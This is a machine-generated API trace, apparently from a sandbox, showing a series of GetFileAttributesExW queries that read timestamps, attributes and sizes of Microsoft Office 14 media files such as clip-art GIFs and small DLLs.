	[0052.034] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21303_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd21303_.gif"), fInfoLevelId=0x0, lpFileInformation=0x124287d8 | out: lpFileInformation=0x124287d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e24d100, ftCreationTime.dwHighDateTime=0x1bd4d50, ftLastAccessTime.dwLowDateTime=0xbcd306c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x4e24d100, ftLastWriteTime.dwHighDateTime=0x1bd4d50, nFileSizeHigh=0x0, nFileSizeLow=0xb04)) returned 1
	[0052.034] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21305_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd21305_.gif"), fInfoLevelId=0x0, lpFileInformation=0x12428828 | out: lpFileInformation=0x12428828*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0150b00, ftCreationTime.dwHighDateTime=0x1bd4f54, ftLastAccessTime.dwLowDateTime=0xbcd306c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xf0150b00, ftLastWriteTime.dwHighDateTime=0x1bd4f54, nFileSizeHigh=0x0, nFileSizeLow=0x616)) returned 1
	[0052.034] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21307_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd21307_.gif"), fInfoLevelId=0x0, lpFileInformation=0x12428878 | out: lpFileInformation=0x12428878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf17ca00, ftCreationTime.dwHighDateTime=0x1bd4f53, ftLastAccessTime.dwLowDateTime=0xbcd56820, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xdf17ca00, ftLastWriteTime.dwHighDateTime=0x1bd4f53, nFileSizeHigh=0x0, nFileSizeLow=0x328)) returned 1
	[0052.034] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21309_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd21309_.gif"), fInfoLevelId=0x0, lpFileInformation=0x124288c8 | out: lpFileInformation=0x124288c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x56009300, ftCreationTime.dwHighDateTime=0x1bd4f53, ftLastAccessTime.dwLowDateTime=0xbcd56820, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x56009300, ftLastWriteTime.dwHighDateTime=0x1bd4f53, nFileSizeHigh=0x0, nFileSizeLow=0xd1d)) returned 1
	[0052.035] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21311_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd21311_.gif"), fInfoLevelId=0x0, lpFileInformation=0x12428918 | out: lpFileInformation=0x12428918*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d745b00, ftCreationTime.dwHighDateTime=0x1bd4d50, ftLastAccessTime.dwLowDateTime=0xbcd56820, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x3d745b00, ftLastWriteTime.dwHighDateTime=0x1bd4d50, nFileSizeHigh=0x0, nFileSizeLow=0x901)) returned 1
	[0052.035] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21313_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd21313_.gif"), fInfoLevelId=0x0, lpFileInformation=0x12428968 | out: lpFileInformation=0x12428968*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b120100, ftCreationTime.dwHighDateTime=0x1bd4d50, ftLastAccessTime.dwLowDateTime=0xbcd7c980, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x3b120100, ftLastWriteTime.dwHighDateTime=0x1bd4d50, nFileSizeHigh=0x0, nFileSizeLow=0x1a15)) returned 1
	[0052.035] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21315_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd21315_.gif"), fInfoLevelId=0x0, lpFileInformation=0x124289b8 | out: lpFileInformation=0x124289b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x364d4d00, ftCreationTime.dwHighDateTime=0x1bd4d50, ftLastAccessTime.dwLowDateTime=0xbcd7c980, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x364d4d00, ftLastWriteTime.dwHighDateTime=0x1bd4d50, nFileSizeHigh=0x0, nFileSizeLow=0x148)) returned 1
	[0052.035] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21318_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd21318_.gif"), fInfoLevelId=0x0, lpFileInformation=0x12428a08 | out: lpFileInformation=0x12428a08*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbb568300, ftCreationTime.dwHighDateTime=0x1bd4f57, ftLastAccessTime.dwLowDateTime=0xbcd7c980, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbb568300, ftLastWriteTime.dwHighDateTime=0x1bd4f57, nFileSizeHigh=0x0, nFileSizeLow=0x11e)) returned 1
	[0052.035] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21319_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd21319_.gif"), fInfoLevelId=0x0, lpFileInformation=0x12428a58 | out: lpFileInformation=0x12428a58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7128600, ftCreationTime.dwHighDateTime=0x1bd4f57, ftLastAccessTime.dwLowDateTime=0xbcd7c980, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa7128600, ftLastWriteTime.dwHighDateTime=0x1bd4f57, nFileSizeHigh=0x0, nFileSizeLow=0x193)) returned 1
	[0052.036] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21320_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd21320_.gif"), fInfoLevelId=0x0, lpFileInformation=0x12428aa8 | out: lpFileInformation=0x12428aa8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97933d00, ftCreationTime.dwHighDateTime=0x1bd4f57, ftLastAccessTime.dwLowDateTime=0xbcd7c980, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x97933d00, ftLastWriteTime.dwHighDateTime=0x1bd4f57, nFileSizeHigh=0x0, nFileSizeLow=0x664)) returned 1
	[0052.036] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21321_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd21321_.gif"), fInfoLevelId=0x0, lpFileInformation=0x12428af8 | out: lpFileInformation=0x12428af8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85b19a00, ftCreationTime.dwHighDateTime=0x1bd4f57, ftLastAccessTime.dwLowDateTime=0xbcd7c980, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x85b19a00, ftLastWriteTime.dwHighDateTime=0x1bd4f57, nFileSizeHigh=0x0, nFileSizeLow=0x9c5)) returned 1
	[0052.036] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21322_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd21322_.gif"), fInfoLevelId=0x0, lpFileInformation=0x12428b48 | out: lpFileInformation=0x12428b48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3f5c3b00, ftCreationTime.dwHighDateTime=0x1bd4f57, ftLastAccessTime.dwLowDateTime=0xbcda2ae0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x3f5c3b00, ftLastWriteTime.dwHighDateTime=0x1bd4f57, nFileSizeHigh=0x0, nFileSizeLow=0x4d3)) returned 1
	[0052.037] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21323_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd21323_.gif"), fInfoLevelId=0x0, lpFileInformation=0x12428b98 | out: lpFileInformation=0x12428b98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x32b9c600, ftCreationTime.dwHighDateTime=0x1bd4d50, ftLastAccessTime.dwLowDateTime=0xbcda2ae0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x32b9c600, ftLastWriteTime.dwHighDateTime=0x1bd4d50, nFileSizeHigh=0x0, nFileSizeLow=0x395)) returned 1
	[0052.038] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21324_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd21324_.gif"), fInfoLevelId=0x0, lpFileInformation=0x12428be8 | out: lpFileInformation=0x12428be8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x30576c00, ftCreationTime.dwHighDateTime=0x1bd4d50, ftLastAccessTime.dwLowDateTime=0xbcda2ae0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x30576c00, ftLastWriteTime.dwHighDateTime=0x1bd4d50, nFileSizeHigh=0x0, nFileSizeLow=0x395)) returned 1
	[0052.038] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21325_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd21325_.gif"), fInfoLevelId=0x0, lpFileInformation=0x12428c38 | out: lpFileInformation=0x12428c38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2df51200, ftCreationTime.dwHighDateTime=0x1bd4d50, ftLastAccessTime.dwLowDateTime=0xbcda2ae0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x2df51200, ftLastWriteTime.dwHighDateTime=0x1bd4d50, nFileSizeHigh=0x0, nFileSizeLow=0x5e0)) returned 1
	[0052.038] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21326_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd21326_.gif"), fInfoLevelId=0x0, lpFileInformation=0x12428c88 | out: lpFileInformation=0x12428c88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1dae8400, ftCreationTime.dwHighDateTime=0x1bd4f56, ftLastAccessTime.dwLowDateTime=0xbcda2ae0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x1dae8400, ftLastWriteTime.dwHighDateTime=0x1bd4f56, nFileSizeHigh=0x0, nFileSizeLow=0x6f9)) returned 1
	[0052.039] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21328_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd21328_.gif"), fInfoLevelId=0x0, lpFileInformation=0x12428cd8 | out: lpFileInformation=0x12428cd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2a618b00, ftCreationTime.dwHighDateTime=0x1bd4d50, ftLastAccessTime.dwLowDateTime=0xbcdc8c40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x2a618b00, ftLastWriteTime.dwHighDateTime=0x1bd4d50, nFileSizeHigh=0x0, nFileSizeLow=0x185)) returned 1
	[0052.039] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21330_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd21330_.gif"), fInfoLevelId=0x0, lpFileInformation=0x12428d28 | out: lpFileInformation=0x12428d28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27ff3100, ftCreationTime.dwHighDateTime=0x1bd4d50, ftLastAccessTime.dwLowDateTime=0xbcdc8c40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x27ff3100, ftLastWriteTime.dwHighDateTime=0x1bd4d50, nFileSizeHigh=0x0, nFileSizeLow=0x1d0)) returned 1
	[0052.039] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21332_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd21332_.gif"), fInfoLevelId=0x0, lpFileInformation=0x12428d78 | out: lpFileInformation=0x12428d78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x246baa00, ftCreationTime.dwHighDateTime=0x1bd4d50, ftLastAccessTime.dwLowDateTime=0xbcdc8c40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x246baa00, ftLastWriteTime.dwHighDateTime=0x1bd4d50, nFileSizeHigh=0x0, nFileSizeLow=0x1f91)) returned 1
	[0052.039] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21334_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd21334_.gif"), fInfoLevelId=0x0, lpFileInformation=0x12428dc8 | out: lpFileInformation=0x12428dc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1e75c900, ftCreationTime.dwHighDateTime=0x1bd4d50, ftLastAccessTime.dwLowDateTime=0xbcdeeda0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x1e75c900, ftLastWriteTime.dwHighDateTime=0x1bd4d50, nFileSizeHigh=0x0, nFileSizeLow=0x888)) returned 1
	[0052.039] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21336_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd21336_.gif"), fInfoLevelId=0x0, lpFileInformation=0x12428e18 | out: lpFileInformation=0x12428e18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4465be00, ftCreationTime.dwHighDateTime=0x1bd4f48, ftLastAccessTime.dwLowDateTime=0xbcdeeda0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x4465be00, ftLastWriteTime.dwHighDateTime=0x1bd4f48, nFileSizeHigh=0x0, nFileSizeLow=0xaeb)) returned 1
	[0052.039] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21338_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd21338_.gif"), fInfoLevelId=0x0, lpFileInformation=0x12428e68 | out: lpFileInformation=0x12428e68*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ae24200, ftCreationTime.dwHighDateTime=0x1bd4d50, ftLastAccessTime.dwLowDateTime=0xbcdeeda0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x1ae24200, ftLastWriteTime.dwHighDateTime=0x1bd4d50, nFileSizeHigh=0x0, nFileSizeLow=0x344)) returned 1
	[0052.039] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21340_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd21340_.gif"), fInfoLevelId=0x0, lpFileInformation=0x12428eb8 | out: lpFileInformation=0x12428eb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7a537400, ftCreationTime.dwHighDateTime=0x1bd4f41, ftLastAccessTime.dwLowDateTime=0xbce14f00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x7a537400, ftLastWriteTime.dwHighDateTime=0x1bd4f41, nFileSizeHigh=0x0, nFileSizeLow=0x96)) returned 1
	[0052.039] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21348_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd21348_.gif"), fInfoLevelId=0x0, lpFileInformation=0x12428f08 | out: lpFileInformation=0x12428f08*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7a89600, ftCreationTime.dwHighDateTime=0x1bd9367, ftLastAccessTime.dwLowDateTime=0xbce3b060, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa7a89600, ftLastWriteTime.dwHighDateTime=0x1bd9367, nFileSizeHigh=0x0, nFileSizeLow=0x46b)) returned 1
	[0052.040] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21370_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd21370_.gif"), fInfoLevelId=0x0, lpFileInformation=0x12428f58 | out: lpFileInformation=0x12428f58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5462cc00, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbce3b060, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x5462cc00, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0x8e3)) returned 1
	[0052.040] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21390_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd21390_.gif"), fInfoLevelId=0x0, lpFileInformation=0x12428fa8 | out: lpFileInformation=0x12428fa8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8d9b3c00, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbce611c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x8d9b3c00, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0x15e)) returned 1
	[0052.040] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21413_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd21413_.gif"), fInfoLevelId=0x0, lpFileInformation=0x12428ff8 | out: lpFileInformation=0x12428ff8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb7546300, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbce87320, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xb7546300, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0x3de)) returned 1
	[0052.040] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21427_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd21427_.gif"), fInfoLevelId=0x0, lpFileInformation=0x12429048 | out: lpFileInformation=0x12429048*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd290b00, ftCreationTime.dwHighDateTime=0x1bd8f93, ftLastAccessTime.dwLowDateTime=0xbce87320, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xd290b00, ftLastWriteTime.dwHighDateTime=0x1bd8f93, nFileSizeHigh=0x0, nFileSizeLow=0x770)) returned 1
	[0052.040] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21448_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd21448_.gif"), fInfoLevelId=0x0, lpFileInformation=0x12429098 | out: lpFileInformation=0x12429098*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97bc3b00, ftCreationTime.dwHighDateTime=0x1bd8f90, ftLastAccessTime.dwLowDateTime=0xbcead480, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x97bc3b00, ftLastWriteTime.dwHighDateTime=0x1bd8f90, nFileSizeHigh=0x0, nFileSizeLow=0x11c)) returned 1
	[0052.040] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21495_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd21495_.gif"), fInfoLevelId=0x0, lpFileInformation=0x124290e8 | out: lpFileInformation=0x124290e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5b89da00, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbced35e0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x5b89da00, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0x2da)) returned 1
	[0052.040] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21512_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd21512_.gif"), fInfoLevelId=0x0, lpFileInformation=0x12429138 | out: lpFileInformation=0x12429138*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93911d00, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbcef9740, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x93911d00, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0x34d)) returned 1
	[0052.041] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21527_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd21527_.gif"), fInfoLevelId=0x0, lpFileInformation=0x12429188 | out: lpFileInformation=0x12429188*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbd4a4400, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbcef9740, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbd4a4400, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0x24e)) returned 1
	[0052.041] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD21548_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd21548_.gif"), fInfoLevelId=0x0, lpFileInformation=0x124291d8 | out: lpFileInformation=0x124291d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x15814600, ftCreationTime.dwHighDateTime=0x1bd8f93, ftLastAccessTime.dwLowDateTime=0xbcf1f8a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x15814600, ftLastWriteTime.dwHighDateTime=0x1bd8f93, nFileSizeHigh=0x0, nFileSizeLow=0x73d)) returned 1
	[0052.041] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\J0115855.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\j0115855.gif"), fInfoLevelId=0x0, lpFileInformation=0x12429228 | out: lpFileInformation=0x12429228*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x51d3ee00, ftCreationTime.dwHighDateTime=0x1bd9367, ftLastAccessTime.dwLowDateTime=0xbd408600, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x51d3ee00, ftLastWriteTime.dwHighDateTime=0x1bd9367, nFileSizeHigh=0x0, nFileSizeLow=0x11a)) returned 1
	[0052.041] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\J0115856.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\j0115856.gif"), fInfoLevelId=0x0, lpFileInformation=0x12429278 | out: lpFileInformation=0x12429278*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x51d3ee00, ftCreationTime.dwHighDateTime=0x1bd9367, ftLastAccessTime.dwLowDateTime=0xbd408600, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x51d3ee00, ftLastWriteTime.dwHighDateTime=0x1bd9367, nFileSizeHigh=0x0, nFileSizeLow=0x11a)) returned 1
	[0052.041] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\J0115875.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\j0115875.gif"), fInfoLevelId=0x0, lpFileInformation=0x124292c8 | out: lpFileInformation=0x124292c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x60220a00, ftCreationTime.dwHighDateTime=0x1bd9367, ftLastAccessTime.dwLowDateTime=0xbd42e760, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x60220a00, ftLastWriteTime.dwHighDateTime=0x1bd9367, nFileSizeHigh=0x0, nFileSizeLow=0x1d3)) returned 1
	[0052.041] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\J0115876.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\j0115876.gif"), fInfoLevelId=0x0, lpFileInformation=0x12429318 | out: lpFileInformation=0x12429318*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x60220a00, ftCreationTime.dwHighDateTime=0x1bd9367, ftLastAccessTime.dwLowDateTime=0xbd4548c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x60220a00, ftLastWriteTime.dwHighDateTime=0x1bd9367, nFileSizeHigh=0x0, nFileSizeLow=0x15e)) returned 1
	[0052.041] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\LINES.DLL" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\lines.dll"), fInfoLevelId=0x0, lpFileInformation=0x12429368 | out: lpFileInformation=0x12429368*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf3475600, ftCreationTime.dwHighDateTime=0x1ca9120, ftLastAccessTime.dwLowDateTime=0x66293410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf3475600, ftLastWriteTime.dwHighDateTime=0x1ca9120, nFileSizeHigh=0x0, nFileSizeLow=0x3b98)) returned 1
	[0052.044] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\OFFICE10.DLL" (normalized: "c:\\program files\\microsoft office\\media\\office14\\office10.dll"), fInfoLevelId=0x0, lpFileInformation=0x124293b8 | out: lpFileInformation=0x124293b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf3475600, ftCreationTime.dwHighDateTime=0x1ca9120, ftLastAccessTime.dwLowDateTime=0x596c1850, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf3475600, ftLastWriteTime.dwHighDateTime=0x1ca9120, nFileSizeHigh=0x0, nFileSizeLow=0x3da0)) returned 1
	[0052.044] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\OFFICE10.MMW" (normalized: "c:\\program files\\microsoft office\\media\\office14\\office10.mmw"), fInfoLevelId=0x0, lpFileInformation=0x12429408 | out: lpFileInformation=0x12429408*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x156c5e00, ftCreationTime.dwHighDateTime=0x1c07b1f, ftLastAccessTime.dwLowDateTime=0x596c1850, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x156c5e00, ftLastWriteTime.dwHighDateTime=0x1c07b1f, nFileSizeHigh=0x0, nFileSizeLow=0x78450)) returned 1
